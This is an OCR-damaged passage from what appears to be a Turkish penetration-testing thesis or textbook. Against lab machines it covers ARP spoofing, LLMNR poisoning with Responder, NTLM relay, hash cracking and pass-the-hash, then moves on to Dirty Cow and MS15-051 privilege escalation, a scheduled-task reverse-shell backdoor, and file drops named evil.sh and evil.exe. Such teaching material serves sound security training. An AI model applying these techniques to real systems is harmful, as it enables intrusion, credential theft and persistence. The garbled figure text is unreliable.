komutu ile 443 portu dinlenirken stack-fuzzer4.py payloadi ¢alistiginda hedef sistem iizerinde
Sekil 3.159.’da goriildigii gibi hedef sistem olan Windows XP iizerinde bir ters baglanti elde

etmek mumkiindur.
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Sekil 3.159. Windows XP hedef sistem iizerinde ters baglanti elde etmek.

3.3. Saldir1 ve Sizma islemleri

Daha o6nceki boliimlerde igletim sistemleri zafiyetleri, bu zafiyetlerin somiiriilmesi ve hedef
sistemler iizerinde ters baglanti elde etmek amaciyla python diliyle yazilan payload ve
shellcode’lar sunulmustur. Fakat penetrasyon testi esnasinda isletim sistemleri {izerinde her
zaman ilgili zafiyetler mevcut olmamaktadir. Bu durumda isletim sistemleri tizerindeki
zafiyetlerden bagimsiz olarak daha farkli saldir1 ve sizma islemleri uygulanmalidir. Bu bélimde
gergeklestirilebilecek saldirt ve sizma islemleri senaryolart sekil 3.160.’da goriildiigii gibi

siniflandirilarak uygulamalarla ele alinmustir.
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Sekil 3.160. Saldir1 ve sizma islemlerinin siniflandirilmasi.

3.3.1. Man in the middle saldirilar:

Man in the Middle (Orta Adam) saldirilarinda iki baglanti arasina sizilarak cesitli dinleme
islemleri gergeklestirilmektedir. Bu iglemler sayesinde istenilen veriler ele gegirilmektedir. Bir
aga dahil olma ve dinleme islemine baslama, iki network arasindaki encrypt edilmemis
baglantiy1 ¢6zme ve okumanin birden fazla yolu mevcuttur. Bu yontemlerin bazilarinda istemci
sunucuda bulunan siteye gercek anlamda giris yaparak istek yollar. Fakat istek yollama
esnasinda aktarilan veriler ortada bulunan saldirgana da iletilebilmektedir. Baz1 saldir1 tiirlerinde
ise istemci orijinal siteye erismeden Once saldirgan tarafindan hazirlanmis orijinal sayfanin
kopyalarma erisir ve giris yapmak istedigi sitenin bilgilerini hatta sifre bilgilerini bile
saldirganlara iletmis olur. Man in the Middle (Orta Adam) saldirilari gergeklestirilirken ¢ok
fazla network bilgisine ihtiyag duyulmaz ve farkli isletim sistemlerine entegre olabilen
yazilimlart mevcuttur. Bu yazilimlar ile hedef sistem belirlenir ve dinleme islemi baslatilir.
Uygulanilacak Man in the Middle (Orta Adam) saldirilart ile network trafigi kolaylikla
saldirgan tlizerine yonlendirilir. Man in the Middle (Orta Adam) saldirilarinin basarili olabilmesi
icin hedef sistem sunucu yerine proxy sunucusuna yonlendirilmektedir. Bu islem igin

olusturulan senaryolar tek tek uygulanmistir.
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Arpspoof saldirisi

Arpspoof ¢ok eski bir saldir1 yontemi olmasina ragmen giinlimiizde giincel olarak penetrasyon
testleri esnasinda kullanilmaktadir. Arp (Adress Resulation Protocol) cihazlarin fiziksel
adreslerine IP adresi tanimlayan bir adres ¢6ziimleme protokoliidiir. Bu sayede cihazlar
bulunduklar1 agdaki diger cihazlarla iletisim kurma islemini gerg¢eklestirmektedir. Arpspoof ise
ilgili cihazi farkli bir cihazmus gibi ag lizerinde tanimlayarak ag iizerinden gecen isteklerin ilgili
cihaz {izerine yonlendirilmesini saglamak ve bu isteklerin igeriklerini okumak amaciyla
gerceklestirilen bir islemdir. Bu senaryo kapsaminda bir adet Windows 7 makinesi ve Kali
Linux makinesi kullanilmigtir. Arp tablolarina Kali Linux cihazi iizerinden Sekil 3.161.°de

goriildiigli gibi ulasilabilmektedir.

#arpacm 1

TN, dotabink Type: ENIOME (Ltherne!
) heSLS ARETos /700, can/revhl

Mt

Mware

UNware,

YMware, -Inc

Sekil 3.161. Arp tablosu.

Burada Kali Linux cihazinin tanidig diger cihazlarin mac adreslerini ve IP adreslerini gérmek
miimkiindiir. 192.168.92.138 Windows 7 cihazinin ip adresidir. Ayn1 islem Windows 7 cihazi
tizerinde de gergeklestirilebilmektedir. Bu senaryoda ama¢ Windows 7 cihazindan gelen
istekleri Kali Linux cihazi tizerinden gegirmek ve ilgili isteklerin igeriklerini okuyabilmektir. Bu
islemi gerceklestirmek igin birden ¢ok arag mevcuttur fakat bu boliimde arpspoof araci
kullanilmigtir. Windows 7 {izerinden gelen istekler Kali Linux cihazina yonlendirildikten ve
gerekli bilgiler alindiktan sonra tekrardan dogru yere yoOnlendirilmezse Windows 7 cihazi
tizerindeki baglantilar kopmaya baslayacaktir. Bunun nedeni gelen isteklerin Kali Linux cihazi
iizerinde takili kalmasidir. Bunu onlemek icin Sekil 3.162.°de goriildigi gibi ip forward
degerinin 1 olarak degistirilmesi gerekmektedir. Buradan ilgili dosya yolundan ip forward
degerine erisilip 0 olan deger 1 olarak degistirilmistir. Boylece Windows 7 makinesinden gelen

isteklerin Kali Linux iizerine geldikten sonra takili kalmasi 6nlenmis olur.
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Sekil 3.163. Arpspoof 1.

Sekil 3.163.’de arpspoof aracina bir interface, hedef sistem gateway ve ip adresleri verilerek
gatewaye ilgili cihazin adresi yanlis gosterilmistir. Ayn1 iglemin tam tersi yani ilgili cihazin ip

adresini gatewaye yanlis gosterme islemi Sekil 3.164.’de goriildiigii gibi gerceklestirilmistir.
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Sekil 3.164. Arpspoof 2.

Sekil 3.164.’de arpspoof araci ile Windows 7 cihazinin ip adresi gateway’e yanlis gosterilmistir.
Burada gosterilen islemler gergeklestirildikten sonra arpspoof islemi baglamistir. Bu islemler
sonucunda Windows 7 cihazinin mac adresinin Kali Linux cihazi ile ayni olacak sekilde
degismistir. Windows7 cihaz iizerinden http bir siteye gidilip login islemi gergeklestirilirse, bu
istekler oncelikle Kali Linux cihazi iizerine diisiip daha sonra internet {izerine gegmektedir.
llgili site {izerinde bir login islemi gerceklestirildiginde islemleri takip edebilmek amaciyla

wireshark araci kullanilmistir.
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Sekil 3.165. Wireshark.

Windows 7 iizerinden gonderilen istekler Kali cihazi iizerinde wireshark ile Sekil 3.165.’de
gorildigl gibi takip edilebilmektedir. Wireshark iizerinden gonderilen post isteklerinin http
stream sayfalarindan istek igerikleri okunabilmektedir. Girilen kullanici ve sifre bilgilerini elde
etmek miimkiindiir. MSSQL Server’larin kullanic1 ve sifre bilgileri de bu sekilde elde
edilebilmektedir.

LLMNR spoofing saldirisi

Bu boliimde LLMNR ve NBT-NS Spoofing saldirilar islemleri gerceklestirilmistir. Bu saldirilar
Windows isletim sistemlerinde oOzellikle de domain yapilarda bulunan Windows isletim
sistemlerinde sik olarak kullanilmaktadir. Ornegin bir Windows kullanicis1 bir yaziciya
baglanmak istediginde bir komut yazacak cihaz ilgili yaziciya baglanacak ve dosya paylasimlari
baslayacaktir. Fakat komut yanlis yazildiginda veya ilgili yazici bulunmadiginda ilgili yer tim
ag lizerinde sorgulanmaya baglayacaktir. Bu durumda saldirgan kendisini printer cihazi olarak
gostererek  kullanici  cihazinin  SMB  {izerinden saldirgan cihazina  baglanmasi
saglanabilmektedir. Windows isletim sistemi mimarileri geregince baglant1 saglanirken hash
bilgileri de Windows tarafindan sunulmaktadir. Elde edilen bu hash bilgileri saldirgan
tarafindan kirilabilir ya da direk yonlendirilerek hedef sistem iizerinde oturum elde etmek i¢in
kullanilabilmektedir. Bu senaryoda hash bilgisinin elde edilmesi islemi gerceklestirilmistir. Bu

islem i¢in responder yazilimi kullanilmisgtir.
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Sekil 3.166. Responder.

Sekil 3.166.’da gortildiigii gibi responder araci ile SMB Server ve bir¢ok server’in canlandirma
islemi gerceklestirilmistir. Burada goriilen servislerin hepsi Kali Linux cihazi iizerine gelen
istekleri yakalamak amaciyla canlandirilmistir. Poisoners kismina bakildiginda LLMNR ve
NBT-NS’in aktif oldugu gorilmektedir. Windows 7 cihazi lizerinden LLMNR ve NBT-NS
istekleri ile aga bir sey sordugunda Kali Linux bu istekleri lizerine alacaktir. Sekil 3.167.’de
Windows 7 cihazi {lizerinde bu islemler gerceklestirilirken wireshark araciligryla isteklerin

incelenmesi gergeklestirilmistir.

M Thme Soniue Destinatsan Piodecel  Length Info

Sekil 3.167. Wireshark SMB istegi.

Windows 7 cihazi tizerinden \\printerr olarak yanlig bir komut girildiginde Windows 7 cihaz1 bir
hata mesaj1 vermistir ve Windows 7 iizerinden gonderilen istek dogru yere iletilememistir. Bu
durumda ilgili istek Kali Linux cihaz1 tarafindan tutularak responder iizerinden bir hash bilgisi

yakalanmustir.
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Sekil 3.168. Windows hash bilgisi NTLMv2 SSP.

MRS
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Sekil 3.169. Windows hash bilgisi NTLMv2.
Sekil 3.168. ve Sekil 3.169.’da goriildiigii gibi Responder aract windows 7 hash bilgisi, cihaz

ad1 ve ip adresi bilgilerini yakalamustir. Ilgili hash bilgilerine Sekil 3.170.’de goriildiigii gibi

ulasmak miimkiindiir.
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Sekil 3.170. Hash bilgisi dosya uzantisi.
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Burada belirtilen dosya yolundan elde edilen hash bilgileri cat komutu ile incelenebilmektedir.
Elde edilen bu hash bilgisi saldirgan tarafindan hash cracking yontemi ile kirilabilir ya da direk

olarak NTLM relay yontemi ile hedef sistem iizerine yonlendirilebilmektedir.

NTLM relay

Bu bolimde SMB ve NTLM Relay saldirilart gergeklestirilmistir. Daha 6nce saldirgan cihaz
olan Kali Linux farkli bir cihaz gibi gosterilerek Windows 7 makinesinin hash bilgileri
responder araci ile elde edilmistir. Bu islemden sonra elde edilen hash bilgisinin yonlendirilmesi
islemi gergeklestirilmistir. Bu islemi gerceklestirmek igin smbrelayx araci kullanilmustir.
Windows 7 cihazi {izerinden gelen yanlis yazilmis isteklere kendini istegin gittigi cihaz gibi
gostermek amaciyla bu senaryoda da responder araci kullanilmistir. Hedef sistem tizerinde bir
girig elde edildiginde reverse veya bind bir baglanti elde edebilmek i¢in hedef sistem tlizerinde
bir komut veya exe calistirabilmek gerekmektedir. Bu islem igin msfvenom ile olusturulmus bir

execute dosyasi kullanilmistir.

Sekil 3.171. Msfvenom ile reverse shell.exe olusturulmasi.

4444 numarali port dinlenildigi siirece bir bilgisayardan Sekil 3.171.’de goriilen dosya
calistirtlirsa saldirgan hedef sistem iizerinde bir komut satirt baglantisi elde etmis olacaktir.
Sekil 3.171.’de olusturulan exe dosyasi hedef sistem fiizerine atilarak ters bir baglanti
saglanmistir. Cihaz iizerine gelen istekleri dinlemek i¢in ise msfconsole igerisinde bulunan

multi handler araci kullanilmustir.
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Sekil 3.172. Multi Handler ile 4444 portunun dinlenmesi.

Sekil 3.172.de Multi Handler aract kullanilarak 4444 portu iizerine gelen istekler
dinlenmektedir. Smbrelayx araci kendi icerisinde bir http ve smb server’r kullandig1 i¢in
responder araci kullaniminda birkag¢ degisiklik mevcuttur. Yani responder araci bu senaryoda ag
tizerinde bir LLMNR istegi dondiigiinde ben buradayim demek i¢in kullanilmistir. Herhangi bir
hash ve istek yakalama islemi ger¢eklestirmemektedir. Bu islemleri smbrelayx araci
gergeklestirmektedir. Bu nedenle responder SMB ve HTTP server 6zellikleri bu senaryoda aktif

olmayacaktir.
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Sekil 3.173. SMB ve http servislerin kapatilmasi.
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Sekil 3.173.°de goriilen konfiglirasyon ayarlari tamamlandiktan sonra responder araci

calistirilmaya hazir haldedir.

LLMER & MDOS
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Sekil 3.174. Responder.

Sekil 3.174.’de de gorildiigi gibi http ve smb serverlar1 kapali olarak responder araci dinleme

islemine baslamistir. Siradaki islem smbrelayx cihazinin ¢alistirilmasidir.
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Sekil 3.175. Smbrelayx araci.

Sekil 3.175.’de goriildiigi gibi responder araciyla bir istek Kali {izerine diistiiglinde bu hash
bilgisi yakalanmadan direk smbrelayx araci sayesinde hedef sistem iizerine gonderilmis ve ters
bir baglanti saglanmistir. Ters bir baglanti elde edildiginde kullanici yetkisi yeterliyse
reverse shell.exe ile hedef sistem iizerinde bir komut satir1 elde edilmis demektir. Sekil
3.176.da smbrelayx araci tizerinde goriilen saldirilar, Sekil 3.177.de Windows 7 makineden

bos atilan istegin responder tizerindeki goriintiisii sunulmustur.
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Sekil 3.177. Windows 7 makineden bos atilan istegin responder iizerinde goriilmesi.

Ters baglant1 saglama islemi gergeklestiginde “reverse shell.exe” devreye girmistir ve hedef

sistem tizerinde Sekil 3.178.’de goriildiigii gibi bir komut satir1 elde edilmistir.

Sekil 3.178. Reverse_shell.exe ile komut satir1 elde etmek.
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NTLM hash cracking

Bu boliimde responder araci ile yakalanan hashlerin kirilmasi islemi gerceklestirilmistir. NTLM
Relay saldirisinda elde edilen kullanict yetkisi komut yiiriitme islemi igin yeterli yetkiye sahip
degilse kullanici yetkisi istenilen sonuglari veremez. Boyle durumlarda elde edilen hash bilgisi
kirilarak uzak masatistii protokolleri gibi protokollerle hedef sisteme baglanilmaya

calisilmaktadir.
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Sekil 3.179. Responder Windows 7 {izerinden atilan bos istek.

Sekil 3.179.°da Windows 7 iseltim sistemi iizerinden atilan bos Istek Responder araci ile
yakalanmistir. {lgili hash bilgisine ulasmak igin Sekil 3.180.’de goriilen islemler
gerceklestirilmistir. Burada elde edilen hash kirilma islemleri i¢in metasploit iizerinde bir¢ok

ara¢ mevcuttur. Bu senaryoda john araci kullanilmistir.
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Sekil 3.181. John araci ile kullanic bilgisi elde etme.

Sekil 3.181.’de john araci ile hash bilgisi kirilmis, ASUS kullanicist ve Passwordl sifresi elde
edilmistir. Bu sifreler kullanilarak Sekil 3.182.’deki gibi remote desktop protokolii ile hedef

sistem lizerinde bir oturum elde edilmistir.
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Sekil 3.182. Root Desktop protokolii ile kullanict oturumu elde etme.

3.3.2. Post Exploitations ve Metasploit

Bu bdéliimde metasploit aract kullanilarak Microsoft ve Linux isletim sistemleri iizerinde post
somiirii  senaryolar1 ele almmistir. Uygulamalar Sekil 3.183.°de de gorildigi gibi

siniflandirilarak sunulmustur.
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Sekil 3.183. Post exploitations ve metasploit islemleri.

Meterpreter oturum elde etme

Meterpreter bazen yetki ylikseltme islemleri bazen dosya paylasim islemleri hatta kameralar
iizerinden snapseed alma islemleri i¢in kullanilabilen bir oturumdur. Bu oturumu elde
edebilmek amaciyla MS08 067 zafiyetine sahip Windows XP cihazina bir sizma islemi
gerceklestirilmistir fakat bu sefer komut satir1 siradan bir oturum seklinde degil meterpreter

seklinde Sekil 3.184.’de goriildiigi gibi elde edilmistir.
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Sekil 3.184. Meterpreter oturum elde etme.

Pass the hash saldirilar: ve lateral movement hareketleri

Microsoft isletim sistemlerinde NTLM Authentication kullanilmasi durumunda sistemler
iizerinde NTLM anahtar1 kiritlmadan sistemler {lizerinde gonderilebilmektedir. Bu islem igin
NTLM anahtar1 bulunan kullanicinin Administrator kullanicisi olmasi gerekmektedir. Bu
boliimde Pass The Hash Saldirilari islemleri gergeklestirilmistir. Bir senaryo dahilinde hedef
sistem Ulizerinden bir meterpreter oturumu elde edilmistir ve hashdump komutuyla da hedef
Administrator, Guest, HelpAisstant ve SUPPORT 388945a0 kullanicilarinin LMNTLM hash

bilgisine ulagilmistir.

Sekil 3.185. Hedef sistem hash bilgisi.
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Sekil 3.185.”de elde edilen hash bilgileri john gibi penetrasyon testi araglariyla uzun denemeler
sonucunda kirilmiyorsa bu hash bilgisini kirmadan parola seklinde kullanmak i¢in microsoft
sistemlerde uzaktan yoOnetim yapmak amaciyla olusturulmus bir yazilim olan psexec

kullanilmaktadir.
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Sekil 3.186. Psexec kullanimu.

Sekil 3.186.’da elde edilen hash bilgisi parola olarak kullanilmistir. Payload ise bind_tcp olarak
secilmistir. ilgili opsiyon bilgileri girildikten sonra run komutuyla psexec araci ¢alistirldiginda
hedef sistem iizerinde bir meterpreter oturum elde edilmistir. Elde edilen kullanicinin subnet
tizerinde hangi cihazlarda aktif oldugunu tespit edebilmek i¢in msfconsole iizerinde smb_login
auxiliary’si kullanilmigtir. Bu modiil smb iizerine brute force (kaba kuvvet) saldirist diizenleyen

bir moduldiir.
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Sekil 3.187. Smb_login auxiliary kullanimi.
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Sekil 3.187.’de smb_login auxiliary modiilii opsiyon ayarlar1 gerceklestirilerek calistirilmistir ve

hedef sistem iizerinde ilgili kullanicinin aktif oldugu ip adreslerini aramaya baslamistir.

Sekil 3.188. Smb_login auxiliary sonucu.

Sekil 3.188.’de Administrator kullanicisinin aktif oldugu ip adresi smb_login auxiliary modiilii
sayesinde bulunmustur. Burada elde edilen kullanicinin aktif oldugu cihaz ip’lerini aramanin
amaci1 subnet iizerinde bulunan diger cihazlara erisimi saglayarak sistem iizerinde yayilmaktir.
Bu sekilde domain yapisi igerisinde yayilmayi amaclayan hareketlere Lateral Movement
denilmektedir. Elde edilen kullanicinin aktif oldugu tespit edilen diger IP adresinde oturum
acilip Mimikatz aract sayesinde bu cihaz iizerinde diger kullanici bilgileri tespit

edilebilmektedir. Boylece Lateral Movement islemleri gerceklestirilmis olur.

3.3.2.3. Linux/GNU sistemler {izerine dosya aktarimi islemi

Bu boliimde Linux sistemler iizerine dosya tasima islemi uygulamali olarak gergeklestirilmistir.
Senaryo dahilinde ssh kullanicisi, exploit veya web uygulamasi iizerinden Metasploitable2
cihazi lizerinde bir baglanti elde edildigi varsayilmistir ve Metasploaitable2 cihazi iizerine daha
ileri seviyede sOmiirii iglemleri i¢in bir dosya konulmasi amaglanmistir. Linux sistemler
tizerinde herkesin yazma yetkisinin bulundugu, gegici bir tmp (temporary) dizini mevcuttur.
Tmp dizininin i¢ine bir dosya konuldugunda dosya kullaniminin isi bittikten sonra makine
resetlendiginde dosya otomatik olarak silinmektedir. Tmp dizinine herkesin erisim yetkisi
bulundugundan Metasploatible2 cihaz lizerinde diisiik yetkili bir kullanici elde edilmis olsa bile
sisteme dosya ¢ekme islemi gerceklestirilebilmektedir. Dosya ¢ekme islemi i¢cin wget komutu

kullanilmaktadir. Bu komut ile belirtilen dosya sisteme ¢ekilebilmektedir.
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Sekil 3.189. Wget ile Kali Linux tizerindeki dosyay1 Metasploitable2 cihazi tizerine aktarma.

Sekil 3.189.’da Kali Linux {izerinde bulunan evil.sh dosyasi Metasploitable2 cihazi tmp
dosyasina kaydedilmistir. Secilen dosyay1 linux cihazlar iizerinde c¢alistirmak igin chmod

komutu kullanilmaktadir.
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Sekil 3.190. Cekilen dosyay1 Linux iizerinde ¢alistirma ve kullanici yetki bilgileri.

Sekil 3.190.’da Kali Linux iizerinden Metasploitable2 tmp dosyasi {izerine gekilen evil.sh
dosyasi ¢alistirtlmistir ve kullanict yetkileri listelenmistir. Dosya aktarim iglemi esnasinda wget

komutu engellenebilmektedir. Bu tiir durumlarda scp komutu da kullanilabilir.

Sekil 3.191. Scp komutu ile dosya transfer iglemi.
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Sekil 3.191.°de scp komutu ile linux cihazlar arasinda dosya aktarim islemi yapilmistir. Hem
wget hem de scp komutlariin ¢alismadigi durumlar s6z konusu olabilir. Bu tiir senaryolarda

netcat araci kullanilabilmektedir.
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Sekil 3.192. Nc ile dosya transfer iglemi.

Sekil 3.192.’de netcat iizerinde 4444 portu dinlenmektedir ve herhangi bir baglant1 gelirse gelen
baglant1 dosyasini evil.sh 2 olarak kaydetmektedir. Ayn1 sekilde Kali {izerindeki islemde de
Metasploitable2 cihazi ile bir baglanti kurulmustur ve evil.sh dosyas: asagida gosterildigi gibi

gonderilmistir.

Sekil 3.193. Kali {izerinden Nc ile dosya gonderme.

Sekil 3.193.’de Metasploitable2 cihazinin ip adresi verilerek nc ile bir baglanti saglanmistir.

Baglant1 sonucunda gelen dosyay1 metasploiatable2 cihazi evil.sh_2 dosyas1 olarak aktarmistir.

stanpluitehl
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Sekil 3.194. Metasploitable2 tmp dosyasi.

Sekil 3.194.’de gorildiigii gibi metaploitable? cihazi lizerinde tmp dosyasi igerisinde hem

evil.sh hem de evil.sh 2 dosyalari mevcuttur.
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GNU/Linux sistemlerde yetki viikseltme

Hedef sistem {izerinde bir kullanici elde edildikten sonra yapilacak islemler i¢in kullanici yetkisi
disiik olursa bu kullanicida yetki yiikseltme islemi gergeklestirilmektedir. Bu islem igin

izlenilecek ilk yol hedef sistemin ¢ekirdek versiyonunu kontrol etmektir. Bu uname —a komutu

ile gerceklestirilebilmektedir.

UTC 2068 1686 UMNU/L I

Sekil 3.195. Hedef sistem cekirdek versiyon bilgisi.

Sekil 3.195.’de gortildiigli gibi Metasploitable2 hedef sistem cihazinin ¢ekirdek versiyon bilgisi
2.6.24’tiir. Bu versiyon bilgisi i¢in yazilmis yetki yiikseltme exploit’lerine Exploitdb veya
google tlizerinden ulagsmak miimkiindiir. Ayn1 zamanda linux iizerinde searchsploit komutu da

kullanilabilmektedir.
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Sekil 3.197. Searchsploit komutu 2.
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Sekil 3.196. ve 3.197.’de Dirty Cow exploitleri i¢in searchsploit komutu ile bir arama islemi
gergeklestirilmistir. Burada elde edilen exploit’lerden 40839 numarali exploit kullanilmustir.

Tgili exploit masaiistiine Sekil 3.198.’de goriildiigii gibi kopyalanmaktadir.
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Sekil 3.198. ilgili exploitin masa iistiine kopyalanmasi.

40839 numarali exploit gorildiigii gibi Kali Linux cihazi masa iistiine kopyalanmistir. Bu

islemden sonra ilgili exploit metasploitable2 cihazinin tmp dosyas altina gonderilmistir.

3Cp Jroot/Desktop /43838 c netadnind

Awhrd

Sekil 3.199. Metasploitable2 cihazi tmp dosyasi igerisine ilgili exploiti gondermek.

Sekil 3.199.°da gonderilen exploit dosyasinin compile edilme bilgileri genel olarak igerisinde

bulunmaktadir.

GND tane 3,2 40B3%.c

Sekil 3.200. 40839.c exploitinin compile edilmesi.
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Sekil 3.200.’de Compile with kisminda bu exploit’in nasil compile edilecegi bilgisi verilmistir.
Ayrica bu exploit firefart adinda bir kullanict olusturmakta ve bu kullanici sifresi daha sonra
belirlenebilmektedir. Exploit ¢alistirildiktan sonra hedef sisteme firefart kullanicisi ile bir giris
yapildiginda root yetkileri elde edilmistir.

prhread 48839

AbOIRh l“'TJ . 0 pwned

Sekil 3.201. Exploit calistirma.

Sekil 3.201.’de Metasploitable2 cihazi {izerine gonderilen exploit compile edilmistir ve firefart
adinda bir kullanict olusturulmustur. Firefart kullanici sifresi 123 olarak belirlenmistir ve hedef

sistem iizerinde root yetkilerine erisim Sekil 3.202.’de gortildiigii gibi saglanmistir.
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Sekil 3.202. Firefart kullanicisi ile root yetkisi elde etme.
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Powershell araciligi ile dosya yiikleme

Bu boliimde powershell ile hedef sisteme dosya yiikleme islemi senaryolarla uygulanmistir.
Senaryo dahilinde konfigiirasyon bazli bir zafiyetle, bir exploitle ya da fiziksel olarak hedef
sistem Windows’tan bir ters baglandi alindig1 varsayilmistir. Fakat Windows sistem tizerine bir

zararli yazilim daha konulmak istenmektedir. Bu islem bir satirlik powershell komutu ile

kolaylikla gergeklestirilebilmektedir.

Sekil 3.203. Powershell komutu.

Sekil 3.203.’de belirlenen bir adresten bir dosya alinip hedef sistemde belirlenen bir dizine

belirlenen bir isimle dosya aktarim islemi gergeklestirilmistir.

Sekil 3.204. Windows {izerinde aktarilan dosya.

Sekil 3.204.’de goriildiigii gibi hedef sistem tizerinde aktarilan dosya evil.exe olarak mevcuttur.
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Microsoft sistemlerde backdoor

Bu boliimde Microsoft sistemler iizerine backdoor birakma iglemi uygulanmistir. Bu islem ig¢in
Microsoft sistemlerin kendi 0zelligi olan zamanlanmis gorevler (schedule tasks) o6zelligi
kullanilmistir. Bu yontem ile daha 6nce hedef sistem iizerine gonderilen dosyanin belirlenen
zaman araliklarinda ¢alistirilmas: saglanmigtir. Boylece diizenli olarak baglanti istegi alinmis

olmaktadir.

Sekil 3.205. Schedule tasks kullanimiu.

Sekil 3.205.de goriilen islemi gerceklestirmek i¢in Administrator kullanici yetkisine sahip
olunmas1 gerekmektedir. Bu komut satir1 dosyay1 1 dakikalik araliklarla calistiracaktir. Dosya
ismi backdoor ve dizin uzantis1 daha once evil.exe dosyasinin indirilmis oldugu dizin uzantisi
olarak belirtilmistir. Komut satir1 ¢alistirildiginda backdoor isimli zamanlanmig gorev baslatildi
mesaji alinmaktadir. Bu gorev daha oOnce msfvenom ile olusturulmus exe dosyasini
calistirmaktadir ve 4444 numarali porta bir ters baglant1 saglamak amaciyla istek atmaktadir.
Kali Linux iizerinden 4444 numarali port dinlemeye alindiginda bir dakika sonra yeni bir
baglant1 elde edilmis olacaktir. Bu sayede siirekli baglanti kapatilsa bile tekrar dinlemeye

alindiginda 1 dakika araliklarla Kali Linux cihazi {izerine ters bir baglant1 gelecektir.

Microsoft sistemlerde kernel exploitleri araciligiyla yetki yiikseltme

Bu boéliimde herhangi bir senaryo dahilinde microsoft sistemler {izerinde bir baglant1 veya ters
baglant1 alindig1 varsayilmistir. Fakat elde edilen kullanici yetkileri gergeklestirilmek istenen
islemler icin yeterli degilse burada yetki ylikseltme iglemleri yapilmaktadir. Bu islem kernel
exploitleri aracilifiyla gergeklestirilebilmektedir. Kali Linux iizerinde “priv”’ komutu ile ilgili

kullanict yetkilerine erisim saglanabilmektedir.
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Sekil 3.206. Priv komutu.

“Systeminfo” komutu ile yetki yiikseltme i¢in gerekli bilgiler ve kb’ler kontrol edilebilmektedir.
Yetki yiikseltme islemi icin MS15-051 exploiti kullanilmustir. ilgili exploit github sitesinden
indirilebilmektedir. indirildikten sonra Kali Linux iizerinden hedef makine iizerine ilgili zafiyet

yiikleme islemi gergeklestirilmistir. Sekil 3.206.’da “priv’” komutu kullanimi gdsterilmektedir.
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Sekil 3.207. MS15-051 zafiyetinin hedef sistem iizerine gonderilmesi.

Sekil 3.207.’de ms15-051 zafiyeti bir komut satir1 ile hedef sistemin downloads dosyasina

privec.exe olarak kaydedilmistir.
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Sekil 3.208. Privesc.exe.

Sekil 3.208.’de pirivesc.exe dosyasi ¢alistirildiginda hedef sitem iizerinde bir nt authority

oturumunun elde edildigi goriilmektedir.

Shell oturumundan meterpreter elde edilmesi

Hedef sistem iizerinde bir shell oturumu elde edilmesine ragmen bir meterpreter oturumu elde
edilmiyorsa shell oturumundan meterpreter elde edilme islemi gergeklestirilebilmektedir. Bu
islem cesitli scriptler, powershell komutlart ve msfconsole iizerindeki modiiller
kullanilabilmektedir. Tlgili msfconsole modiilleri i¢in elde edilen shell komutu geri plana

almarak Sekil 3.209.’da goriilen iglemler gergeklestirilmistir.
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Sekil 3.209. Web_delivery exploiti.

Burada kullanilan exploit bir powershell komutunu hedef sistem {izerinde calistirarak ve
saldirganin yaymlamis oldugu dosyayr hedef sistem {iizerinde caligtirarak bir meterpreter

baglantisi elde etme islemi gerceklestirmektedir.
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Sekil 3.210. Exploit ile elde edilen powershell komutu.

Sekil 3.210.’da “web_delivery” exploit’in opsiyon ayarlari tamamlandiktan sonra somiirii iglemi
baslatilmistir. Bu somiirii islemi sonunda exploit hedef sistem iizerinde calistirilmak {izere bir
powershell komutu vermektedir. Bu powershell komutu calistirildiginda hedef sistem iizerinde

bir meterpreter oturum elde etmek miimkiindiir.

Sizilan cihazlarda farkl islemlere sicrama

Meterpreter oturum mimarisinin hedef sistemin mimarisi ile uyusmamasi durumunda
meterpreter tizerindeki bazi modiiller kullanilirken sikintilar ¢ikabilmektedir. Bu bdlimde
migrate islemleri araciligryla mimari degistirme islemleri gergeklestirilmistir. Bu islemin ilk
adimi “sysinfo” komutu ile hem hedef sistem mimarisi hem de meterpreter mimarisi hakkinda

bilgi edinmek olmustur.
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Sekil 3.211. Sysinfo.
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Sekil 3.211.’de “sysinfo” komutu ile meterpreter mimarisinin x86 hedef sistem mimarisinin ise
x64 oldugu goriilmektedir. Bu durumda load kiwi ve Creds all komutlarinin ¢alismadigini
gormek miimkiindiir. Bu durumda meterpreter mimarisinin x64 olmasi gerekmektedir. Bu
¢evirme islemi i¢in daha 6nce kullanilmis olan web delivery scripti araciligiyla elde edilmis
yeni bir powershell komutu hedef sistem {izerinde ¢alistirilarak yeni bir meterpreter oturumu
elde edilebilmektedir. ikinci bir yontem ise sistem iizerinde ¢alisan x64 bir isletim sistemine
migrate islemi uygulamaktir. Bu islemi gergeklestirebilmek i¢in hedef sistem iizerinde ¢alisan

islemlerin bir listesine ihtiya¢ duyulmaktadir. Bu listeye “ps” komutu ile ulasmak miimkiindiir.
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Sekil 3.212. Ps komutu sonugclari.

Sekil 3.212.’de “ps” komutu sonucu hedef sistem {izerindeki islerin ve kullanici yetkilerinin
listesi goriilmektedir. Migrate edilecek islemler liste igerisinden segilecektir. Bu iglemleri
secerken dikkat edilmesi gereken hususlar stabil islemler se¢mek, hata durumunda
bozulmayacak islemler segcmektir. Ciinkii bazi hatalarda meterpreter oturumlari ve hedef sistem
diisebilmektedir ve bu hig istenmeyen bir durumdur. Bu 6zellikleri igeren favori islem vmtools

islemidir.
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Sekil 3.213. Vmtools islemi.
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Sekil 3.213.’deki vmtools islemi iizerinden “migrate islemi” gergeklestirebilmek i¢in kullanici
yetkilerinin ilgili tool ile ayn1 veya daha yiiksek olmas1 gerekmektedir. Dolayisiyla bu islem i¢in

Admin yetkilerinde bir kullanic1 gerekmektedir.
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Sekil 3.214. Migrate islemi.

Sekil 3.214.’de goriildiigii gibi migrate islemi vmtools iglemi tlizerinden gergeklestirilmistir ve
“sysinfo” komutu ile hedef sistem ve meterpreter mimari bilgileri kontrol edildiginde ayni
oldugu gozlemlenmistir. Bu islemler sonucunda artik load kiwi veya Creds all komutlarinin

calistig1 da goézlemlenebilir.

Msfconsole tizerinde kernel zafiyeti uyeulamasi

Bu boliimde bir senaryo dahilinde hedef sistem iizerinde bir meterpreter oturum elde edildigi
varsayllmistir. Fakat elde edilen yetkilerin diisiikk olmas1 durumunda kernel exploit somiirme
islemi gerceklestirilerek kullanict yetkisi yiikseltilmigtir. Bu islem icin msfconsole iizerinde

bir¢ok modiil mevcuttur. Bu islemler i¢in multi handler modiilii kullanilmugtir.

Sekil 3.215. Multi handler ile MS15 051 zafiyeti aramasi.
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Sekil 3.215.’de elde edilen ms15_051 exploiti kullanilarak yetki yiikseltme iglemi yapilmistir.
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Sekil 3.216. MS15_ 051 zafiyeti.

Sekil 3.216.’da goriilen MS15 051 zafiyetinin opsiyon ayarlar1 gerceklestirilip somiirii islemi
tamamlandiginda yeni bir komut satir1 elde edilerek kullanici yetkisinin nt authority system
